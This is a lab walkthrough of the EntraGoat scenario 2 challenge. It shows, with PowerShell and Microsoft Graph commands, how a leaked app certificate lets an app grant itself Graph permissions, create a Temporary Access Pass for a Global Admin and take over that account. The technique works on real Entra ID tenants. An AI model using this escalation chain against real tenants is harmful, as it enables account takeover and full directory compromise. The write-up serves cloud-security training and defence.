EntraGoat
EntraGoat Scenario 2 — Graph Me the Crown (and Roles)
Objective
Gain access to the target administrator account and retrieve the flag from extensionAttribute1.
Initial Information
The scenario provided attacker credentials:
Username: jennifer.clark@neho7890gmail.onmicrosoft.com
Password: GoatAccess!123
Target account:
EntraGoat-admin-s2@neho7890gmail.onmicrosoft.com
The scenario also leaked a Base64-encoded PFX certificate with the password:
GoatAccess!123
Hint:
This cert seems harmless but listen closely. It may speak with someone else's authority.
Step 1 — Reconstruct the PFX Certificate
The hint said the certificate “may speak with someone else’s authority” — that reads like a leaked app credential, so the plan was to find which application trusts this cert and then log in as it. First I decoded the Base64 blob back into a PFX file:
[IO.File]::WriteAllBytes(
"scenario2.pfx",
[Convert]::FromBase64String($base64)
)
The certificate was inspected:
certutil -dump .\\scenario2.pfx
Important output:
Subject: CN=Corporate Finance Analytics
Thumbprint: 79F0F2D93ABB5D2A565E17850951895AA17C4644
Step 2 — Identify the Related Application
A certificate is only useful if something trusts it, so I matched its thumbprint against the key credentials of every application in the tenant to find the one it belonged to:
$thumb = "79f0f2d93abb5d2a565e17850951895aa17c4644"
Get-MgApplication -All |
Where-Object {
$app = $_
$app.KeyCredentials | Where-Object {
[System.BitConverter]::ToString($_.CustomKeyIdentifier) -replace "-", "" -eq $thumb.ToUpper()
}
} |
Select-Object DisplayName, AppId, Id
Result:
DisplayName: Corporate Finance Analytics
AppId: b36d31a3-cdc1-4964-a361-cd22d47643bd
Step 3 — Import the Certificate
The PFX was imported into the current user’s certificate store:
$mypwd = ConvertTo-SecureString "GoatAccess!123" -AsPlainText -Force
Import-PfxCertificate `
-FilePath C:\\Users\\maldev\\scenario2.pfx `
-CertStoreLocation Cert:\\CurrentUser\\My `
-Password $mypwd
Verification:
Get-ChildItem Cert:\\CurrentUser\\My |
Where-Object Thumbprint -eq "79F0F2D93ABB5D2A565E17850951895AA17C4644" |
fl Subject, Thumbprint, HasPrivateKey
The certificate had a private key:
HasPrivateKey: True
Step 4 — Authenticate as the Application
With the cert in my store and the matching app ID, I authenticated to Graph as the application itself:
Connect-MgGraph `
-TenantId "neho7890gmail.onmicrosoft.com" `
-ClientId "b36d31a3-cdc1-4964-a361-cd22d47643bd" `
-CertificateThumbprint "79F0F2D93ABB5D2A565E17850951895AA17C4644"
The context confirmed app-only access:
AuthType: AppOnly
AppName: Corporate Finance Analytics
Scopes:
- AppRoleAssignment.ReadWrite.All
- Application.Read.All
Step 5 — Abuse AppRoleAssignment.ReadWrite.All
The application had the dangerous Graph permission:
AppRoleAssignment.ReadWrite.All
This is the one that unravels everything: it lets the app grant itself additional Graph application permissions. Starting from that single right, I could bootstrap whatever access the rest of the chain needed.
The Microsoft Graph service principal was identified:
$graphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
The target service principal was identified:
$targetSp = Get-MgServicePrincipal -Filter "appId eq 'b36d31a3-cdc1-4964-a361-cd22d47643bd'"
First I had the app grant itself User.ReadWrite.All, so it could read and modify the target admin user:
$role = $graphSp.AppRoles | Where-Object {
$_.Value -eq "User.ReadWrite.All" -and $_.AllowedMemberTypes -contains "Application"
}
New-MgServicePrincipalAppRoleAssignment `
-ServicePrincipalId $targetSp.Id `
-PrincipalId $targetSp.Id `
-ResourceId $graphSp.Id `
-AppRoleId $role.Id
After reconnecting, the application could read the target admin user:
Get-MgUser -UserId "EntraGoat-admin-s2@neho7890gmail.onmicrosoft.com"
Step 6 — Add Role Management Permission
To manipulate directory roles, the application assigned itself:
RoleManagement.ReadWrite.Directory
$role = $graphSp.AppRoles | Where-Object {
$_.Value -eq "RoleManagement.ReadWrite.Directory" -and $_.AllowedMemberTypes -contains "Application"
}
New-MgServicePrincipalAppRoleAssignment `
-ServicePrincipalId $targetSp.Id `
-PrincipalId $targetSp.Id `
-ResourceId $graphSp.Id `
-AppRoleId $role.Id
The target administrator was already a member of Global Administrator:
$gaRole = Get-MgDirectoryRole | Where-Object DisplayName -eq "Global Administrator"
New-MgDirectoryRoleMemberByRef `
-DirectoryRoleId $gaRole.Id `
-BodyParameter @{
"@odata.id" = "<https://graph.microsoft.com/v1.0/directoryObjects/51f2db3c-2151-48c9-8551-6f858bc02f64>"
}
The response showed the object reference already existed.
Step 7 — Add Authentication Method Permission
The first attempt at password reset / TAP creation failed — the app didn’t yet hold any authentication-method permission. Easy fix given the self-grant primitive: I gave it one more role:
UserAuthenticationMethod.ReadWrite.All
$role = $graphSp.AppRoles | Where-Object {
$_.Value -eq "UserAuthenticationMethod.ReadWrite.All" -and $_.AllowedMemberTypes -contains "Application"
}
New-MgServicePrincipalAppRoleAssignment `
-ServicePrincipalId $targetSp.Id `
-PrincipalId $targetSp.Id `
-ResourceId $graphSp.Id `
-AppRoleId $role.Id
After reconnecting, a Temporary Access Pass was created for the target admin:
$tapBody = @{
lifetimeInMinutes = 60
isUsableOnce = $false
} | ConvertTo-Json
Invoke-MgGraphRequest `
-Method POST `
-Uri "<https://graph.microsoft.com/v1.0/users/51f2db3c-2151-48c9-8551-6f858bc02f64/authentication/temporaryAccessPassMethods>" `
-Body $tapBody `
-ContentType "application/json"
Result:
temporaryAccessPass: +5v5#5jd
isUsable: True
methodUsabilityReason: EnabledByPolicy
Step 8 — Account Takeover
The generated TAP was used to sign in as:
EntraGoat-admin-s2@neho7890gmail.onmicrosoft.com
After authentication, the flag was retrieved from:
User properties → extensionAttribute1
Attack Path Summary
Leaked PFX Certificate
↓
Identify matching App Registration
↓
Authenticate as Corporate Finance Analytics
↓
AppRoleAssignment.ReadWrite.All
↓
Self-assign User.ReadWrite.All
↓
Self-assign RoleManagement.ReadWrite.Directory
↓
Self-assign UserAuthenticationMethod.ReadWrite.All
↓
Create Temporary Access Pass for Global Admin
↓
Sign in as EntraGoat-admin-s2
↓
Read flag from extensionAttribute1
Key Takeaways
- Leaked certificates can allow app-only authentication into Microsoft Graph.
- Application permissions are extremely sensitive and should be monitored closely.
AppRoleAssignment.ReadWrite.Allis highly dangerous because it can allow an application to grant itself additional Graph permissions.UserAuthenticationMethod.ReadWrite.Allcan enable account takeover through Temporary Access Pass creation.- Service principals should be treated as privileged identities, especially when they hold Graph application permissions.